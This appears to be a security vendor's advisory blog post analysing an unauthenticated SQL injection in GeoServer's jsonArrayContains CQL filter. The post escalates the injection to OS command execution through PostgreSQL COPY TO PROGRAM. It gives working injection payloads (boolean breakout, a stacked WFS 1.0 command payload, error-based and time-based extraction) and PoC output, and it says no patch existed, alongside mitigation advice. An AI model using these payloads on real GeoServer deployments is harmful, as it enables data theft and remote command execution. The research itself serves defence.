How exposed have you been since your last pentest?

The Exposure Clock shows exactly how many vulnerabilities, including externally exploitable ones, have surfaced since your last assessment.

No items found.
Vulnerability Alerts
-
6
mins read
-
August 14, 2026

Here be dragons: GeoServer pre-auth SQL injection to RCE

Melvin Lammerts
-
Hacking Manager
- -
Here be dragons: GeoServer pre-auth SQL injection to RCE

On August 12, 2026, security researcher @q1uf3ng posted a tweet: GeoServer's jsonArrayContains filter function had an unauthenticated SQL injection. With the right database configuration, it leads to remote code execution.

Active exploitation attempts followed within hours.

GeoServer is the most widely deployed open-source server for geospatial data. Government agencies, utilities, defense contractors, and environmental organizations use it to serve map layers over the OGC WMS and WFS standards. Every one of those endpoints accepts CQL filter parameters from unauthenticated users. When a SQL injection lands in the CQL layer, every exposed instance is on the table.

We reversed the vulnerability from scratch, working from a single tweet to a working exploit. What looked like a straightforward code audit turned into a structural puzzle: the obvious exploitation path was blocked by an accidental defense in GeoServer's query generation, and getting to RCE required finding a completely different route through the codebase.

This is what we found.

TL;DR

We independently analyzed an unauthenticated SQL injection in GeoServer's jsonArrayContains implementation.

The vulnerability exists in the GeoTools code responsible for translating CQL filters into SQL for PostGIS-backed datastores. An attacker-controlled value is interpolated directly into a PostgreSQL jsonb_path_exists() expression without escaping.

Key findings:

  • The vulnerability is reachable without authentication through public OGC interfaces.
  • SQL injection is possible against affected PostGIS-backed layers.
  • Exploitation does not require preferQueryMode=simple on the JDBC connection. Default pgJDBC configuration is sufficient.
  • Different GeoServer services generate materially different SQL query shapes. That difference determines whether stacked statement execution is possible.
  • WFS 1.0 provides a path where a stacked PostgreSQL statement executes at the top level of the query.
  • If GeoServer connects to PostgreSQL using a superuser or a role with pg_execute_server_program, this escalates to OS command execution on the database host.
  • Without those elevated PostgreSQL privileges, the SQL injection still works and can be used to access data available to the database user.

No patch was available at the time this analysis was completed on August 14, 2026.

What is GeoServer?

GeoServer is an open-source Java server used to publish and serve geospatial data. It sits at the core of a significant portion of the world's public-facing geographic infrastructure: national mapping agencies, utility networks, environmental monitoring systems, defense logistics, and urban planning platforms. If a web map layer is being served somewhere on the internet, there is a reasonable chance GeoServer is behind it.

The relevant attack surface here is the OGC WMS and WFS interfaces. Both accept a CQL_FILTER parameter that lets users express complex filter expressions against the underlying data. These endpoints are typically public. CQL filters are parsed and translated to SQL by the GeoTools library, which GeoServer depends on.

That makes the path from attacker to database look like this:

Internet → OGC endpoint → CQL filter → GeoTools → PostGIS → PostgreSQL

If untrusted input survives that journey and reaches SQL without escaping, an attacker does not need an account in GeoServer to reach the vulnerable code. That is exactly what happens here.

The bug

GeoServer delegates CQL-to-SQL translation to GeoTools. Searching the GeoTools source for jsonArrayContains leads straight to FilterToSqlHelper.java. When you send a CQL filter like jsonArrayContains(column,'/x','value')=true, the code calls constructEquality() to build the SQL:

String sql = String.format(

    "jsonb_path_exists(%s::jsonb, '$ ? (@.%s == \"%s\")')",

    column, path, value

);

The third %s is the problem. The value comes directly from the CQL filter, which comes directly from the HTTP request. It is dropped into a SQL string literal with no escaping.

Every other filter function in GeoTools uses parameterized queries. jsonArrayContains was added later as part of GEOT-7589 (commit 651ee878, backported to 30.x and 31.x) to support PostgreSQL 12+'s jsonb_path_exists. The value ends up inside a jsonpath expression inside a SQL string. PostgreSQL does not support bind parameters inside jsonpath, so someone used String.format().

The path from HTTP request to vulnerable SQL looks like this:

HTTP request

    │

    ▼

CQL_FILTER parameter

    │

    ▼

jsonArrayContains(...)

    │

    ▼

Java String.format()

    │

    ▼

PostgreSQL string literal

    │

    ▼

jsonpath expression

    │

    ▼

attacker-controlled value

A string inside a string inside a query. Those usually make for an interesting afternoon.

Breaking the string

For a normal value like y, the generated SQL looks fine:

jsonb_path_exists("mp"::jsonb, '$ ? (@.x == "y")')

The outer single quotes are the PostgreSQL string literal. Our value sits between the inner double quotes inside the jsonpath expression. But CQL lets us put single quotes in string values using the '' escape sequence. If we send a value that unescapes to x'):

jsonb_path_exists("mp"::jsonb, '$ ? (@.x == "x') ...

                                                  ^

                                     string ends here — we're out

The injected single quote ends the SQL string. The ) closes the function call. Everything after that is bare SQL under our control.

Proving the injection

With the sink identified, we needed a boolean proof. The goal: a value that breaks out of the string, injects OR true, and absorbs the trailing syntax that constructEquality() appends after the injection point. The function appends ")') after our value, so we need to consume it gracefully.

CQL value, after unescaping:

y")') OR true OR (''='

Which produces:

jsonb_path_exists("mp"::jsonb, '$ ? (@.x == "y")') OR true OR (''='")')

The trailing ")') is absorbed into a harmless string comparison: ''='")'). The SQL is syntactically valid, and the OR true makes the WHERE clause return every row in the table.

Sending this via WFS GetFeature and checking whether numberMatched reflects the true row count rather than zero confirms the injection. The security boundary had already failed. We wanted to know how far it went.

From injection to RCE

PostgreSQL has a particularly useful capability for SQL injection research: sufficiently privileged roles can use COPY ... TO PROGRAM to execute a command on the operating system. If GeoServer's database account is a superuser, or holds pg_execute_server_program, a successfully stacked second statement turns SQL injection into OS command execution.

A common assumption is that stacked queries require preferQueryMode=simple on the JDBC URL. They don't. pgJDBC 42.7.11 (the version declared by GeoTools 35.0) splits semicolon-separated SQL into a CompositeQuery and executes each sub-statement even in the default extended mode. Setting preferQueryMode=extended is not a mitigation.

We had a potential RCE primitive. We just needed somewhere to put it. That's where things stopped being straightforward.

The query fought back

The assumption was simple: break out of the string, close jsonb_path_exists(), terminate the current statement, stack another one. Except the SQL GeoServer generates is not the same everywhere.

WFS 2.0. GeoServer needs to populate numberMatched in its WFS 2.0 response. To do that, the filter gets wrapped in a count query with a derived-table structure:

SELECT count(*)

FROM (

    SELECT ...

    FROM ...

    WHERE [INJECTION]

) alias

Trying to terminate the injected expression with a semicolon doesn't put us at the top level of the SQL statement. We're still inside the derived table. The semicolon produces invalid SQL. The obvious stacked-query technique is blocked by the shape of the query.

Not by a deliberate security boundary. By the query itself.

WFS 1.0 changes the game. WFS 1.0 doesn't include numberMatched in its response schema, so GeoServer doesn't generate the derived count query. The filter can land directly inside the main statement.

WFS 2.0

SELECT count(*)

FROM (

    SELECT ...

    WHERE [INJECTION]

) alias

             ↑

       semicolon trapped

       inside wrapper

WFS 1.0

SELECT ...

FROM ...

WHERE [INJECTION]

           ↑

     injection reaches

       top-level SQL

WFS 1.0 was the route we needed.

Closing the chain

With the WFS 1.0 query shape, the malicious CQL value needs to:

  1. terminate the SQL string containing the jsonpath;
  2. close the jsonb_path_exists() function;
  3. end the current SQL statement;
  4. introduce a second PostgreSQL statement; and
  5. comment out the trailing SQL that constructEquality() appends after our value.

CQL value, after unescaping:

x') ; COPY (SELECT 1) TO PROGRAM 'cmd'

--

SQL generated by WFS 1.0:

SELECT cols FROM t

  WHERE jsonb_path_exists("mp"::jsonb, '$ ? (@.a == "x') ;

COPY (SELECT 1) TO PROGRAM 'cmd' ;

--")')  ...

PostgreSQL executes both statements. The JDBC driver throws Multiple ResultSets were returned by the query, but by then the command has already run on the database host.

Alternative chains

WMS GetMap doesn't need numberMatched, so there's no count subquery. The filter is wrapped in WHERE ((filter) AND bbox): three open parentheses to close before the semicolon reaches the top level. Exploitable, but requires a geometry column and a more complex closure than WFS 1.0.

PoC output

Running the exploit against a local GeoServer 2.26.1 + PostGIS 15 environment:

$ python3 poc.py --cmd id

  Target  http://127.0.0.1:8085/geoserver

  Layer   jac_sqli:poi_info

  Sink    FilterToSqlHelper.java:constructEquality -> jsonb_path_exists

[1] reachability  CQL_FILTER=jsonArrayContains(mp,'/x','y')=true

    HTTP 200  bytes=697  jsonArrayContains reaches PostgreSQL

[2] column probe  (WMS NULL detection)

    [-] id         Could not parse CQL filter list.

    [+] mp         PNG 1313B (injectable)

    [-] poi_info   Rendering process failed.

    => use column 'mp' for injection

[3] stacked COPY TO PROGRAM RCE

    command: id

    HTTP 200  Multiple ResultSets were returned by the query.

[4] verification  (docker exec gs-pgtest)

    $ cat /tmp/pwn_rce.txt

      uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

[+] RCE CONFIRMED: command executed inside PG container as uid=999(postgres)

Without the superuser

The RCE path requires COPY TO PROGRAM privileges. Without them, stacked queries still execute, but COPY is rejected by PostgreSQL's permission check. The injection works regardless.

Error-based extraction via CAST(expr AS int) forces PostgreSQL to leak expression results in its error message:

-- Injected SQL:

... OR CAST((version()) AS int) > 0 OR ...

-- PostgreSQL responds with:

ERROR: invalid input syntax for type integer:

  "PostgreSQL 15.4 (Debian 15.4-1.pgdg110+1) on x86_64-pc-linux-gnu..."

This works through both WFS and WMS, requires no special JDBC settings, and can extract anything the database user can query: credentials, connection strings, data from other tables, and system catalog contents.

Time-based blind extraction via pg_sleep in a subquery is also available. Slower, but it works even when preparedStatements=true is set, because the injection is a subquery rather than a stacked statement.

A restricted PostgreSQL account reduces the impact. It does not remove the injection.

Why this is more interesting than the CVSS score

It's tempting to treat vulnerabilities as binary. But, real deployments are less cooperative.

This issue is a useful example because there are multiple questions between identifying the vulnerable code and understanding what an attacker can actually achieve:

Is GeoServer exposed to the internet?

            ↓

Can an attacker reach an OGC endpoint?

            ↓

Does the deployment contain an affected PostGIS layer?

            ↓

Can jsonArrayContains reach the vulnerable SQL generation?

            ↓

Does the selected column survive the JSONB cast?

            ↓

Can SQL behavior actually be changed?

            ↓

What permissions does the database user hold?

            ↓

What impact can those permissions produce?

A version match answers only the first part of that. It tells you that vulnerable code may exist. It doesn't tell you whether an attacker can reach it, or what they can do when they do.

In our own testing, two requests reaching the same vulnerable function produced different outcomes, because WFS 2.0 and WFS 1.0 caused GeoServer to construct different SQL around the injected input. One query shape blocked the obvious RCE chain. The other enabled it.

That difference doesn't appear in a vulnerability inventory. You have to follow the attack.

Affected versions and prerequisites

Condition SQL injection RCE chain
GeoServer >= 2.25.3 / affected GeoTools Required Required
PostGIS-backed layer Required Required
PostgreSQL >= 12 Required Required
jsonArrayContains reaches SQL encoding Required Required
Attacker can reach relevant WFS/WMS interface Required Required
Suitable JSON/JSONB-backed column Required Required
PostgreSQL superuser / pg_execute_server_program No Yes
preferQueryMode=simple No No

The vulnerable behavior was introduced through GeoTools change GEOT-7589, commit 651ee8784230fb5476928a2daba8129123ace140, and backported into affected release branches.

Detection and mitigation

No patch was available at time of writing. Until an official fix is released, treat exposure reduction as the priority.

  1. Identify internet-facing GeoServer deployments. Determine whether GeoServer is accessible from untrusted networks and whether WFS or WMS endpoints are publicly reachable. Where public access isn't required, remove it. Do not assume that GeoServer application authentication protects an endpoint that is intentionally exposed for unauthenticated OGC access.
  2. Restrict access to OGC interfaces. Place WFS/WMS endpoints behind a VPN, network access controls, or an IP allowlist. Alternatively, add an authenticated application layer in front of the service.
  3. Review PostGIS datastore configuration. Determine whether affected deployments use PostGIS-backed layers with SQL function encoding enabled. Disabling the encode functions option on the PostGIS datastore prevents jsonArrayContains from being translated into the vulnerable SQL form.
  4. Review database privileges. GeoServer should not connect to PostgreSQL using a superuser account. Specifically review whether the database role holds pg_execute_server_program. Removing unnecessary privileges materially reduces escalation potential, even though it does not fix the underlying injection.
  5. Do not assume limited privileges mean limited impact. The database user's ability to read application data, metadata, or other accessible relations should be part of your impact assessment. Absence of COPY ... TO PROGRAM is not a clean bill of health.

From vulnerable code to exploitable exposure

The original disclosure gave us the start of the story: jsonArrayContains had a SQL injection.

Answering what that meant in practice required following the complete path from an unauthenticated request, through CQL parsing and GeoTools SQL generation, into PostgreSQL, and through the different query structures that different GeoServer services produce.

Security teams have no shortage of vulnerability information. The harder questions come afterwards: is it exposed, can someone actually reach it, can it be exploited in this specific configuration, and what happens if they get in?

For this issue, the answers range from a failed query, to database access, to OS command execution. The only way to know where a particular deployment falls is to follow the attack path.

Atlas continuously maps your external attack surface, including GeoServer instances, the technologies behind them, and the versions they're running. Nova tests whether an exposed instance is actually exploitable under real attack conditions, following the full chain rather than stopping at version detection.

If you're not certain what's on your perimeter, find out before someone else does.

Technical summary

Affected component GeoServer / GeoTools jsonArrayContains
Vulnerability class Pre-authentication SQL injection
Potential impact Database access; OS command execution where PostgreSQL privileges permit
Authentication required No
Affected versions GeoServer >= 2.25.3 with affected GeoTools versions
Required backend PostGIS / PostgreSQL >= 12
RCE prerequisite PostgreSQL superuser or pg_execute_server_program
Original disclosure @q1uf3ng, August 12, 2026
Research completed August 14, 2026

Credits

@q1uf3ng for the original disclosure that prompted this investigation.

Timeline

Date Event
August 12, 2026 @q1uf3ng discloses on X; no CVE assigned
August 12, 2026 Active exploitation attempts observed within hours
August 14, 2026 Independent analysis and proof of chain completed
August 14, 2026 No patch available at time of publication

{{related-article}}

Here be dragons: GeoServer pre-auth SQL injection to RCE

{{quote-1}}

,

{{quote-2}}

,

Related articles.

All resources

Vulnerability Alerts

WordPress XSS2Shell: Unauthenticated Login-Screen XSS to PHP Code Execution (CVE-2026-64638)

WordPress XSS2Shell: Unauthenticated Login-Screen XSS to PHP Code Execution (CVE-2026-64638)

Vulnerability Alerts

wp2shell: A Pre-Authentication RCE in WordPress Core's REST Batch API

wp2shell: A Pre-Authentication RCE in WordPress Core's REST Batch API

Vulnerability Alerts

CVE-2026-45829 — ChromaDB Python server hands you RCE before it asks who you are

CVE-2026-45829 — ChromaDB Python server hands you RCE before it asks who you are

Related articles.

All resources

Vulnerability Alerts

WordPress XSS2Shell: Unauthenticated Login-Screen XSS to PHP Code Execution (CVE-2026-64638)

WordPress XSS2Shell: Unauthenticated Login-Screen XSS to PHP Code Execution (CVE-2026-64638)

Vulnerability Alerts

wp2shell: A Pre-Authentication RCE in WordPress Core's REST Batch API

wp2shell: A Pre-Authentication RCE in WordPress Core's REST Batch API

Vulnerability Alerts

CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

CVE-2026-44212 — Stored XSS in PrestaShop Back-Office via RFC 5321 Quoted-String Email

get a 15 min demo

Start your journey today

Hadrian’s end-to-end offensive security platform sets up in minutes, operates autonomously, and provides easy-to-action insights.

What you will learn

  • Monitor assets and config changes

  • Understand asset context

  • Identify risks, reduce false positives

  • Prioritize high-impact risks

  • Streamline remediation

The Hadrian platform displayed on a tablet.
No items found.
Vulnerability Alerts